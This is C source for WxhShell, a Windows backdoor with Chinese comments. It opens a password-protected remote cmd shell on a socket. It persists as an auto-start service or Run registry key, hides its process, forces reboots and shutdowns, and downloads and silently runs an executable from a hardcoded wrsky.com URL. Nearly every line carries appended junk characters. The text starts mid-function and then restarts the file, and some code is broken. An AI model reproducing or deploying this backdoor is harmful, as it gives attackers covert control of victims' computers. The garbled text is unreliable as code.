    if(Boot(SHUTDOWN)) o&SSv W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h/)_) r.x  
    else { qf#)lyr<D6  
    closesocket(wsh); G$bJ+  
    ExitThread(0); 2eb1 lJdS  
    } )d`mvZBn1  
    break; Y@uh[aS!  
    } W0I4Vvh_"  
  // 获取shell Z7a945Jd  
  case 's': { * F4UAQzYb  
    CmdShell(wsh); 6RoAl$}'  
    closesocket(wsh); ny*i+4Mb  
    ExitThread(0); q7\Ovjs0  
    break; 8b(!k FxD  
  } ZZxk]D<  
  // 退出 ,$lemH1d  
  case 'x': { 5B4Ssrs5W~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wT,R0~V0  
    CloseIt(wsh); 646JDX[o  
    break; Fc6iQ  
    } A8r^)QJP{  
  // 离开 Ib=x~za@n  
  case 'q': { o\VUD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YHXLv#8  
    closesocket(wsh); bulS&dAX  
    WSACleanup(); L%"LlS g  
    exit(1); L gk   
    break; 7gF"=7{-  
        } (Z] HX@"{J  
  } U8$4 R,+  
  } > L2HET  
cVnJ^*Z  
  // 提示信息 ]=pR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); saf&dd  
} q*7<)VwI  
  } 942lSyix  
n2B){~vE  
  return; e'%v1-&sP  
} w o bgu  
%EbPI)yY3  
// shell模块句柄 : 18KR*;p  
int CmdShell(SOCKET sock) i:]*P  
{ !>,m&O-x  
STARTUPINFO si; / P|fB]p  
ZeroMemory(&si,sizeof(si)); w'MGA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mn1Pt|_@!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )SF}2?7e  
PROCESS_INFORMATION ProcessInfo; :}8Z@H!KkY  
char cmdline[]="cmd"; H %JaZ?(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }o4N<%/+  
  return 0; &Mq~T_S  
} ^hNgm.I  
C?v[Z]t  
// 自身启动模式 g9D^)V  
int StartFromService(void) M>9-=$7  
{ B~]5$-  
typedef struct O/AaYA&  
{ 9EDfd NN  
  DWORD ExitStatus; *4+3ObA  
  DWORD PebBaseAddress; F'jWV5"*  
  DWORD AffinityMask; C2LL|jp*  
  DWORD BasePriority; eAv4FA4g  
  ULONG UniqueProcessId; J;_}lF9d@  
  ULONG InheritedFromUniqueProcessId; drzL.@h|  
}   PROCESS_BASIC_INFORMATION; \%PaceH  
B`*ZsS=R-  
PROCNTQSIP NtQueryInformationProcess; \^ghdU  
Tc8 un.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qmO6,T-|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &j(+/;A  
G9g1hie@%  
  HANDLE             hProcess; |f~@8|MQP+  
  PROCESS_BASIC_INFORMATION pbi; yFDv6yJ.  
=mA: ctu~v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hX `}Q4(k  
  if(NULL == hInst ) return 0; }cT_qqw(f%  
? A(QyaKz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @u==x *{ |  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fRg`UI4w}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'cY` w  
X[f=h=|  
  if (!NtQueryInformationProcess) return 0; *OuStr \o  
LP MU8Er  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0a-:<zm  
  if(!hProcess) return 0; x|yEt O&  
W6On9 3sa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CPNL 94x  
nstUMr6  
  CloseHandle(hProcess); pdE3r$C  
D9j3Xu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E<yW\  
if(hProcess==NULL) return 0; LX^u_Iu   
e{m2l2Tx:  
HMODULE hMod; #1>X58I^  
char procName[255]; [Q=dC X9%  
unsigned long cbNeeded; T49zcJf;  
DGzw8|/(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,"B+r6}EF  
`Od5Gh  
  CloseHandle(hProcess); Ei2'[PK  
lo[.&GD  
if(strstr(procName,"services")) return 1; // 以服务启动 liXdNk8  
(\SA *.)  
  return 0; // 注册表启动 !Q#{o^{Y~  
} i&VsW7  
.'Vww  
// 主模块 <:?r:fQX  
int StartWxhshell(LPSTR lpCmdLine) r#XT3qp$d  
{ hZ.Z3`v70  
  SOCKET wsl; U"Zmv  
BOOL val=TRUE; ~R(%D-k  
  int port=0; R~Ne|V2  
  struct sockaddr_in door; V{JAB]?^  
z<yU-m2h  
  if(wscfg.ws_autoins) Install(); ^Vpq$'!  
t+eVR8  
port=atoi(lpCmdLine);  ]C) 4  
%Ah^E$&n2  
if(port<=0) port=wscfg.ws_port; {~F4WjHJp  
xXM{pd  
  WSADATA data; eM+!Y>8Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5O\*h;U 6  
]w.;4`l*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gSh+}r<7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o93`|yWl  
  door.sin_family = AF_INET; @7B$Yy#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hRCed4qA  
  door.sin_port = htons(port); zRyuq1Zyc,  
p>upA)W]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U-|NY  
closesocket(wsl); h@[R6G|  
return 1; #W|'1 OX4  
} )'~6HO8Z  
-YCOP0  
  if(listen(wsl,2) == INVALID_SOCKET) { C_7+a@?B  
closesocket(wsl); % ClHCoyA  
return 1; <"_d]?,  
} ~/P&Tub^  
  Wxhshell(wsl); LbkF   
  WSACleanup(); 'nwx9]q  
`5C,N!d8X  
return 0; f` ;j:O  
8@tPm$  
} *" {lMZ +  
pim!.=vN/U  
// 以NT服务方式启动 !Ze5)g%H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;S>])5<  
{ NB8/g0:=n&  
DWORD   status = 0; [DF,^4g  
  DWORD   specificError = 0xfffffff; v+X)Qmzf~  
sn)3Z A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OEkN(wF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ipf =ZD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eY|  
  serviceStatus.dwWin32ExitCode     = 0; o/+13C  
  serviceStatus.dwServiceSpecificExitCode = 0; BYMi6wts  
  serviceStatus.dwCheckPoint       = 0; 4/wa+Y+=vt  
  serviceStatus.dwWaitHint       = 0; LL3#5AA"k|  
y$_eCmq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |563D#?cR  
  if (hServiceStatusHandle==0) return; 5Er2}KZJv,  
Y4v|ko`l%  
status = GetLastError(); JW3B'_0  
  if (status!=NO_ERROR) <=>=.kmGt  
{ p{j.KI s7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~1>.A(,=z  
    serviceStatus.dwCheckPoint       = 0; id1s3b;  
    serviceStatus.dwWaitHint       = 0; 70eb]\%  
    serviceStatus.dwWin32ExitCode     = status; FW21 U<  
    serviceStatus.dwServiceSpecificExitCode = specificError; N19({0+i2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _t Yx~J2.Q  
    return; "$2 y-|  
  } pP*a  
<|SRe6m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @ < Q|5  
  serviceStatus.dwCheckPoint       = 0; T Kg aV;92  
  serviceStatus.dwWaitHint       = 0; $7rq3y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j'MO(ev  
} 9f<MQ6_UU  
:{q < {^c  
// 处理NT服务事件,比如:启动、停止 w tiny,6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NnT1X;0W  
{ <gQIq{B?  
switch(fdwControl) Y07ZB'K  
{ }x07^4$j  
case SERVICE_CONTROL_STOP: c'S,hCe*  
  serviceStatus.dwWin32ExitCode = 0; _s .G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q+W1lv8R  
  serviceStatus.dwCheckPoint   = 0; $h*L=t(  
  serviceStatus.dwWaitHint     = 0; c+hQSm|bf)  
  { jhb6T ?}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t+1 %RyKFB  
  } yL2o}ZbS  
  return; Nw1#M%/!r!  
case SERVICE_CONTROL_PAUSE: 7aQc=^vaZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t3&LO~Ye  
  break; ,Q HU_jt  
case SERVICE_CONTROL_CONTINUE: )~HUo9K9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &QGdLXOn  
  break; 93` AWg/T  
case SERVICE_CONTROL_INTERROGATE: `CgaS#  
  break; iC9 8_o_9  
}; +/)#( j@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NqDHCI  
} !AKg m'Nw  
cM$P`{QrM  
// 标准应用程序主函数 (3{YM(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =A!@6Nw  
{ =Q+= f  
(}EB2V9Hh  
// 获取操作系统版本 eFL=G%  
OsIsNt=GetOsVer(); t\%HX.8[;%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H\:lxR^  
,u`YT%&L  
  // 从命令行安装 2E)wpgUc?e  
  if(strpbrk(lpCmdLine,"iI")) Install(); $0lD>yu  
@EnuJe  
  // 下载执行文件 .2v_H5<  
if(wscfg.ws_downexe) { r?Wk<>%>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vfE6Ggz  
  WinExec(wscfg.ws_filenam,SW_HIDE); < F`>,Pm  
} &'}RrW-s  
fM^qQM[lG  
if(!OsIsNt) { 49dd5ddr  
// 如果时win9x,隐藏进程并且设置为注册表启动 C86J IC"  
HideProc(); H=Y{rq@  
StartWxhshell(lpCmdLine); Qg[/%$x.  
} fDvl/|62{  
else ),ma_{$N  
  if(StartFromService()) 7[5.> h  
  // 以服务方式启动 [`rba'  
  StartServiceCtrlDispatcher(DispatchTable); 0^RXGN  
else gm[z[~X@  
  // 普通方式启动 D~$r\ ]av  
  StartWxhshell(lpCmdLine); ~R26  
+L9Eqll  
return 0; =yyp?WmC8  
} 'zGo?a  
I$0)Px%z  
/x[jQM\  
lo,$-bJ,<,  
=========================================== vWf; 'j  
"0cID3A$  
?)1{)Erf8x  
9)gC6 IiW  
!qN||m CH  
eK!V );  
" J_v$YwE  
0Pe>Es|^A#  
#include <stdio.h> 52,m:EhL  
#include <string.h> 82QGS$0V  
#include <windows.h> .On|uC)!  
#include <winsock2.h> \,7}mdQSv  
#include <winsvc.h> }=8B*  
#include <urlmon.h> 8qEVOZjV&  
-OA?BEQ=I  
#pragma comment (lib, "Ws2_32.lib") cdZ~2vk  
#pragma comment (lib, "urlmon.lib") 3T}izG]  
s+EAB{w$  
#define MAX_USER   100 // 最大客户端连接数 , eZ1uBI?  
#define BUF_SOCK   200 // sock buffer \&iP`v`K  
#define KEY_BUFF   255 // 输入 buffer p-zXp K"  
*EZHJt9  
#define REBOOT     0   // 重启 [h34d5'w  
#define SHUTDOWN   1   // 关机 (v}>tb*#`  
>ey\jDr#O  
#define DEF_PORT   5000 // 监听端口 Z]j*9#G1s  
$d)ca9  
#define REG_LEN     16   // 注册表键长度 N.]qU d  
#define SVC_LEN     80   // NT服务名长度 <p\6AnkMr  
"Za >ZRR  
// 从dll定义API k'IYA#T6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v%s`~~u%^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oNU0 qZ5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,XIz?R>;c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OZTPOz.  
r!HwXeEn/  
// wxhshell配置信息 LK, bO|  
struct WSCFG { n;$5Cq!v=  
  int ws_port;         // 监听端口 4)"n RjGg  
  char ws_passstr[REG_LEN]; // 口令 %QKRFPYhS  
  int ws_autoins;       // 安装标记, 1=yes 0=no `> ?ra-  
  char ws_regname[REG_LEN]; // 注册表键名 b r^_'1  
  char ws_svcname[REG_LEN]; // 服务名 Ju3*lk/j-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _/s(7y!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }2uI?i8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MwR 0@S}*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GA?87N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KA){''>8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z[cyA.  
f"9q^  
}; USVqB\#  
(A?H1 9  
// default Wxhshell configuration =ZDAeVz3w  
struct WSCFG wscfg={DEF_PORT, )Jk0v_ X  
    "xuhuanlingzhe", :L1dyVA{  
    1, OnF3lCmu  
    "Wxhshell", '{J&M|<A  
    "Wxhshell", -Y*bSP)\  
            "WxhShell Service", xZQg'IT  
    "Wrsky Windows CmdShell Service", =9z[[dQ|L  
    "Please Input Your Password: ", 0\:(ageY?  
  1, C":o/;,1  
  "http://www.wrsky.com/wxhshell.exe", kH4Ai3#g  
  "Wxhshell.exe" Q<KvBgmT  
    }; X83 w@-$}  
XP1~d>j  
// 消息定义模块 W ]Nv33i [  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qOUqs'7/]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ty<L8+B|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8S<@"v  
char *msg_ws_ext="\n\rExit."; "7v@Rye  
char *msg_ws_end="\n\rQuit."; }t ;(VynV)  
char *msg_ws_boot="\n\rReboot..."; ;+tpvnV;]  
char *msg_ws_poff="\n\rShutdown..."; {O,{c\  
char *msg_ws_down="\n\rSave to "; s7l;\XBy  
h~(D@/tB  
char *msg_ws_err="\n\rErr!"; x)JOClLr  
char *msg_ws_ok="\n\rOK!"; Cf:#( D  
,N e;kI  
char ExeFile[MAX_PATH]; i@B[ eta  
int nUser = 0; hBFP1u/E'  
HANDLE handles[MAX_USER]; 4mHvgnT!WA  
int OsIsNt; GQl$yZaK{  
^kgBa27  
SERVICE_STATUS       serviceStatus; /MF! GM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S_T1y  
1 I*7SkgKv  
// 函数声明 PNA\ TXT  
int Install(void); w,Lvt }  
int Uninstall(void); V%_4%  
int DownloadFile(char *sURL, SOCKET wsh); Hw|AA?,0-  
int Boot(int flag); ~\cO"(y5:O  
void HideProc(void); :UbM !  
int GetOsVer(void); }->.k/vc  
int Wxhshell(SOCKET wsl); J8"[6vId~  
void TalkWithClient(void *cs); w~ ;I7:  
int CmdShell(SOCKET sock); 4_UU<GEp  
int StartFromService(void); S<L.c  
int StartWxhshell(LPSTR lpCmdLine); tU^kQR!  
eXkujjSw"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3VUWX5K?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e{A9r@p!  
I0'[!kBF|  
// 数据结构和表定义 wBInq~K_  
SERVICE_TABLE_ENTRY DispatchTable[] = oP2fX_v1x  
{ .iQT5c  
{wscfg.ws_svcname, NTServiceMain}, yR~R:  
{NULL, NULL} d7&eLLx  
}; }HG#s4  
~-#yOu ,w  
// 自我安装 7nVRn9Hn  
int Install(void) {66fG53x  
{ ?6k}ii!c  
  char svExeFile[MAX_PATH]; [<,~3oRu  
  HKEY key; Y9=(zOqv  
  strcpy(svExeFile,ExeFile); 2qHf'  
HJC(\\~  
// 如果是win9x系统,修改注册表设为自启动 z*a8sr  
if(!OsIsNt) { 5PIZh<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )g|xpb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oR~e#<$;  
  RegCloseKey(key); =X!IH d0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Otz E:qe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ur\qOX|{  
  RegCloseKey(key); J@ L9p46,  
  return 0; {&[9iIf  
    } Fa epDjY8  
  } S\wW)Pv8  
} @[6,6:h|  
else { cDrebU  
H2r8,|XL  
// 如果是NT以上系统,安装为系统服务 K?4FT$9G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P(SZ68  
if (schSCManager!=0) =1oNZKBP  
{ Y=*P 8pg  
  SC_HANDLE schService = CreateService 3S BZ>  
  ( t0#[#I1+  
  schSCManager, ` r']^ ,  
  wscfg.ws_svcname, *RR[H6B^]X  
  wscfg.ws_svcdisp, kJ(A,s|  
  SERVICE_ALL_ACCESS, q+a.G2S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %@R~DBS  
  SERVICE_AUTO_START, )2Hff.  
  SERVICE_ERROR_NORMAL, [`Cq\mI-W  
  svExeFile, ue8qIZH  
  NULL, 1# t6`N]?V  
  NULL, p{=QGrxB*  
  NULL, 3|rn] yZ  
  NULL, =/+#PVO  
  NULL O{k:yVb  
  ); nMoWOP'  
  if (schService!=0) IC{F.2D  
  { h7;bclU  
  CloseServiceHandle(schService); (D{Ys'{q  
  CloseServiceHandle(schSCManager); @("}]/O V:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M;Wha;%E"  
  strcat(svExeFile,wscfg.ws_svcname); l #@&~f[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l9/:FiJ_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y1BgK>R  
  RegCloseKey(key); L|^o7 1t|  
  return 0; ;t]|15]u  
    } ]=D5p_A(  
  } _a+ICqR  
  CloseServiceHandle(schSCManager); >Jm"2U}lZW  
} hN(L@0)  
} u{bL-a8}  
"]t>ZT:OJ  
return 1; }.:d#]g8  
} sIm#_+Y  
"A]Y~iQ  
// 自我卸载 >Wh3MG6  
int Uninstall(void) 3ViM ?p  
{ P 4;{jG  
  HKEY key; =J@`0H"  
el'j&I  
if(!OsIsNt) { H/+{e,SW"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]@SU4  
  RegDeleteValue(key,wscfg.ws_regname); 7nz!0I^   
  RegCloseKey(key); >;i\v7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n=`w9qajd  
  RegDeleteValue(key,wscfg.ws_regname); aed+C:N  
  RegCloseKey(key); "E>t, D  
  return 0; }f}IA\8]  
  } kUHie   
} *?8RXer  
} Sl.o,W^  
else { /R%^rz'w  
7C5pAb:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (^H5EeGV{  
if (schSCManager!=0) pN$;!  
{ w4{y "A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G+yL;G/  
  if (schService!=0) xeB4r/6  
  { feCqbWq:  
  if(DeleteService(schService)!=0) { Z( #Ln  
  CloseServiceHandle(schService);  C6)R#  
  CloseServiceHandle(schSCManager); 0VIZ=-e  
  return 0; B~_Spp  
  } uMDtdC8  
  CloseServiceHandle(schService); ZT9IMihV  
  } l<2oklo5  
  CloseServiceHandle(schSCManager); H'h#wV`(  
} > tEK+Y|N}  
} )nnCCR S6  
-]QguZE  
return 1; jm> U6  
} S$K}v,8.sr  
kr{)  
// 从指定url下载文件 ]-KV0H  
int DownloadFile(char *sURL, SOCKET wsh) ! o^Ic`FhS  
{ \ 522,n`  
  HRESULT hr; va>"#;37  
char seps[]= "/"; <~O}6HQ#  
char *token; )]A9~H  
char *file; fM{1Os  
char myURL[MAX_PATH]; !u%9;>T7  
char myFILE[MAX_PATH]; {~nvs4X  
\kk!Dz*H  
strcpy(myURL,sURL); F8 ?uQP8  
  token=strtok(myURL,seps); (!ZV9S  
  while(token!=NULL) :;_#5  
  { cdN/Qy  
    file=token;  6s5b$x  
  token=strtok(NULL,seps); p6[#f96^u  
  } qM*S*,s  
k)i"tpw  
GetCurrentDirectory(MAX_PATH,myFILE); 2) ?  
strcat(myFILE, "\\"); \2Xx%SX  
strcat(myFILE, file); dQ`:8S K  
  send(wsh,myFILE,strlen(myFILE),0); mb~./.5F  
send(wsh,"...",3,0); 9H[/Tj-;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +:!ScG*  
  if(hr==S_OK) 1w bTqc  
return 0; g#Mv&tU  
else w`0)x5 TGR  
return 1; k}-]W@UCa?  
[5!'ykZ  
} &8waih(|  
[='p!7 z  
// 系统电源模块 O!yakU+  
int Boot(int flag) QS5H >5M)  
{ s{cKBau  
  HANDLE hToken; -$OD}5ku#  
  TOKEN_PRIVILEGES tkp; srsK:%`  
TMNfJz   
  if(OsIsNt) { KCl &H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [qW<D/@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jjX'_E  
    tkp.PrivilegeCount = 1; &7fY_~)B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'HJ/2-=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (lieiye^  
if(flag==REBOOT) { ,;7`{Nab  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j=FMYd8$y  
  return 0; d b<q-u  
} P&,hiGTDi  
else { G&.d)NfE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xJ N|w\&  
  return 0; Q6eN+i2 ;  
} Y:rJK|m  
  } )-)ss"\+Ju  
  else { W0C{~|e  
if(flag==REBOOT) { 2rF?Q?$,B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V;H d)v( j  
  return 0; dFx2>6AZt  
} 2wGF-V  
else { E]\D>[0O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k\nH&nb  
  return 0; W)|c[Q\  
} qo)Q}0  
} @k_Jl>X  
;gEp!R8  
return 1; k& WS$R?u  
} ? 7/W>  
1XqIPiXJ  
// win9x进程隐藏模块 gW'P`Oxw  
void HideProc(void) a#YuKh?  
{ +ylxezc  
N[0 xqQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2T//%ys=  
  if ( hKernel != NULL ) g8LT7  
  { UCe,2v%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LKIW*M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (m<R0  
    FreeLibrary(hKernel); +fC#2%VnU  
  } Vxp$#3 ;S  
FYp|oD2=1  
return; 9B qQ^`bu  
} '.]e._T  
\Y51KB\  
// 获取操作系统版本 G /NT e  
int GetOsVer(void) N|UBaPS|o  
{ #=`FM:WH  
  OSVERSIONINFO winfo; =$^Wkau  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0\? _ lT2  
  GetVersionEx(&winfo); *eHA: A_I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8FxcI!A@  
  return 1; 6.7`0v?,n  
  else ^^n +  
  return 0; H @_eFlT t  
} x?%rx}h  
)9; (>cdl  
// 客户端句柄模块 B.]qrS|  
int Wxhshell(SOCKET wsl) Xy[4f=X}z  
{ P3+)pOE-SI  
  SOCKET wsh; S1D9AcK  
  struct sockaddr_in client; #g@  
  DWORD myID; _ff=B  
*Te4U5F  
  while(nUser<MAX_USER) iifc;62  
{ JK@izI  
  int nSize=sizeof(client); /Oq1q._9F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (Wm/$P;  
  if(wsh==INVALID_SOCKET) return 1; 2"pE&QNd  
MILIu;[{#r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Z#_X@NFc  
if(handles[nUser]==0) {toyQ)C7  
  closesocket(wsh); B'G*y2UnG  
else L LYHr  
  nUser++; O, bfdc[g4  
  } E[)7tr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o~i]W.SI(  
@D.R0uM  
  return 0; .nj?;).  
} , aRJ!AZ  
K^!e-Xi6  
// 关闭 socket ,omp F$%  
void CloseIt(SOCKET wsh) WmT}t  
{ w\"n!^ms  
closesocket(wsh); XBfiaj  
nUser--; GibggOj2Q,  
ExitThread(0); Gt\K Ln  
} bR>o!(M'Z\  
9B!im\]O  
// 客户端请求句柄 5XSxQG@k^z  
void TalkWithClient(void *cs) Pe+ 8~0o=R  
{ ^7ea6G"  
EzD -1sJ  
  SOCKET wsh=(SOCKET)cs; ?)Czl4J  
  char pwd[SVC_LEN]; .oi}SG  
  char cmd[KEY_BUFF]; |xsV(jK8  
char chr[1]; 8!o{W=m^4  
int i,j; Z]7;u>2  
v@$evmA  
  while (nUser < MAX_USER) { wzHjEW  
RvyBg:Aj5  
if(wscfg.ws_passstr) { I{?E/Sc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X]JpS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c-s`>m  
  //ZeroMemory(pwd,KEY_BUFF); <FcPxZ  
      i=0; bMqu5G_q  
  while(i<SVC_LEN) { @n~>j&Kp  
Y2=Brtc[@  
  // 设置超时 5O;a/q8"  
  fd_set FdRead; [x$eF~Kp  
  struct timeval TimeOut; VQNYQqu`[  
  FD_ZERO(&FdRead); ;G%wc!  
  FD_SET(wsh,&FdRead); 7U{b+=,wK  
  TimeOut.tv_sec=8; L5zG0mC8  
  TimeOut.tv_usec=0;  :kp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5,0 wj0l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FfD ,cDs  
CD8JYiJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7'{Yz  
  pwd=chr[0];  z~}StCH(  
  if(chr[0]==0xd || chr[0]==0xa) { 9U}MXY0  
  pwd=0; VeN&rjc  
  break; 86^ZYh  
  } 2#n$x*CY  
  i++; p(x1D]#Z[  
    } Eis%)oE  
/8$1[[[  
  // 如果是非法用户,关闭 socket R@7GCj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6wpND|cT  
} =|6^)lt$  
7>#L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9?}rpA`P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I?>-  
f1]AfH#  
while(1) { i"sYf9,  
?9('o\N:  
  ZeroMemory(cmd,KEY_BUFF); }<\65 B$1  
n6%jhv9H  
      // 自动支持客户端 telnet标准   M[ ~2,M&H  
  j=0; hBfzU\*0H  
  while(j<KEY_BUFF) { pZ_FVID  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ek{PA!9Sk  
  cmd[j]=chr[0]; z W" 3K  
  if(chr[0]==0xa || chr[0]==0xd) { JIY ^N9_  
  cmd[j]=0; P2 K>|r  
  break; z[lRb]:i[  
  } od5w9E.  
  j++; P7>C4rmQ  
    } -4^@)~Y  
"mP*}VF  
  // 下载文件 2p3u6\y  
  if(strstr(cmd,"http://")) { H8t{ >C)]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [^(R1K  
  if(DownloadFile(cmd,wsh)) 0ZID @^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(t6;&H  
  else { Sliy'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y8~)/)l&  
  } 6B;_uIq5  
  else { =iK6/ y`  
Znh uIA AG  
    switch(cmd[0]) { /"%IhX-  
  ;DgX"Uzm  
